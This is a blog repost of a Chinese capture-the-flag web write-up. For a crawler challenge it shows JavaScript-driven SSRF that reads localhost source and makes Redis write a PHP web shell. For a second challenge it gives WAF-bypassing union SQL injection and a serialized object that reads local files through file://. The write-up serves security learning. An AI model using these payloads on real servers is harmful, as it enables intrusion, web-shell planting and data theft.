美文网首页
网鼎杯第一场wp(web)

网鼎杯第一场wp(web)

作者: wuli_decade | 来源:发表于2018-08-23 16:27 被阅读62次

    web1~~~~ spider

    image.png

    访问 robots.txt 发现存在 /get_sourcecode 文件,访问该URL提示 NOT 127.0.0.1

    image.png
    加上xff头,无效,此路不通。

    首页的爬虫分析系统会执行 JS 代码,我们构造如下代码,通过服务器执行 JS 代码来访问 /get_sourcecode 文件。(下面会用到 Ajax 内容,不会请先点 这里

    <a href="" id="flag">test</a>
    <script type="text/javascript">
    function loadXMLDoc()
    {
        var xmlhttp;
        if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp=new XMLHttpRequest();
        }
        else{// code for IE6, IE5
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function(){
            if (xmlhttp.readyState==4 && xmlhttp.status==200){
                document.getElementById("flag").innerHTML=xmlhttp.responseText;
            }
        }
        xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
        xmlhttp.send();
    
    }
    loadXMLDoc();
    </script>
    

    当服务器执行 AJAX 请求后,会把返回结果存在 id 为 flag 的 a标签 中。

    image.png

    得到源码。

    URL: http://127.0.0.1:80/upload/c97ddbd0-a6a3-11e8-b761-0242ac110184.html
    #!/usr/bin/env python
    # -*- encoding: utf-8 -*-
    
    from flask import Flask, request 
    from flask import render_template
    import os
    import uuid
    import tempfile
    import subprocess
    import time
    import json
    
    app = Flask(__name__ , static_url_path='')
    
    def proc_shell(cmd):
        out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
        fileno = out_temp.fileno()
        proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
        start_time = time.time()
        while True:
            if proc.poll() == None:
                if time.time() - start_time &gt; 30:
                    proc.terminate()
                    proc.kill()
                    proc.communicate()
                    out_temp.seek(0)
                    out_temp.close()
                    return
                else:
                    time.sleep(1)
            else:
                proc.communicate()
                out_temp.seek(0)
                data = out_temp.read()
                out_temp.close()
                return data
    
    def casperjs_html(url):
        cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
        cmd = cmd.split(' ')
        stdout = proc_shell(cmd)
        try:
            result = json.loads(stdout)
            links = result.get('resourceRequestUrls')
            return links
        except Exception, e:
            return []
    
    @app.route('/', methods=['GET', 'POST'])
    def index():
        if request.method == 'GET':
            return render_template('index.html')
        else:
            f = request.files['file']
            filename = str(uuid.uuid1()) + '.html'
            basepath = os.path.dirname(__file__)
            upload_path = os.path.join(basepath, 'static/upload/', filename)
            content = f.read()
            #hint
            if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
                return render_template('index.html', msg=u'Warning: 发现恶意关键字')
            #hint
            with open(upload_path, 'w') as f:
                f.write(content)
            url = 'http://127.0.0.1:80/upload/'+filename
            links = casperjs_html(url)
            links = '\n'.join(links)
            if not links:
                links = 'NULL'
            links = 'URL: '+url+'\n'+links
            return render_template('index.html', links=links)
    
    @app.route('/get_sourcecode', methods=['GET', 'POST'])
    def get_code():
        if request.method == 'GET':
            ip = request.remote_addr
            if ip != '127.0.0.1':
                return 'NOT 127.0.0.1'
            else:
                with open(os.path.dirname(__file__)+'/run.py') as f:
                    code = f.read()
                return code
        else:
            return ''
    
    @app.errorhandler(404)
    def page_not_found(error):
        return '404'
    
    @app.errorhandler(500)
    def internal_server_error(error):
        return '500'
    
    @app.errorhandler(403)
    def unauthorized(error):
        return '403'
    
    if __name__ == '__main__':
        pass
    

    根据源码的hint。猜测是redis未授权访问。

    redis未授权访问漏洞利用总结

    通过 JS 代码,操纵 redis 并写入 shell :

    <a href="" id="flag">test</a>
    level=low_273eac1c
    <script>
    var xmlHttp;
    if(window.XMLHttpRequest){
        xmlHttp = new XMLHttpRequest();
    }
    else{
        xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
    }
    
    var formData = new FormData();
    formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
    xmlHttp.open("POST","http://127.0.0.1:6379",true);
    xmlHttp.send(formData);
    </script>
    
    

    接着构造 JS 代码访问我们构造的PHP文件即可获得flag:

    <a href="" id="flag">test</a>
    <script type="text/javascript">
    function loadXMLDoc(){
        var xmlhttp;
        if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp=new XMLHttpRequest();
        }
        else{// code for IE6, IE5
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function(){
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                document.getElementById("flag").innerHTML=xmlhttp.responseText;
            }
        }
        xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
        xmlhttp.send();
    }
    loadXMLDoc();
    </script>
    
    image.png

    web2~~~~~~~~fakebook

    注册进去,发现一个注入点


    image.png

    发现他加载了百度这个网页,很可能存在ssrf漏洞,但是还无法利用


    image.png

    暴库,这里有一个坑,不能union select一起使用,所以这里使用了大小写混淆加/**/绕过waf。具体流程如下

    view.php?no=-6%20unIon/**/select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=database()
    view.php?no=-6%20unIon/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema=database()#
    view.php?no=-6%20unIon/**/select%201,data,3,4%20from%20users#
    
    image.png

    此处看到一个php序列化,联想之前的ssrf没有被利用,猜测后台是把data反序列化后得到网址,然后再去访问改网址,拿回数据,那么构造poc为

    /view.php?no=1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '
    

    此处为何在第四列?因为之前爆列的时候data在第四列。

    image.png

    相关文章

      网友评论

          本文标题:网鼎杯第一场wp(web)

          本文链接:https://www.haomeiwen.com/subject/rvhmiftx.html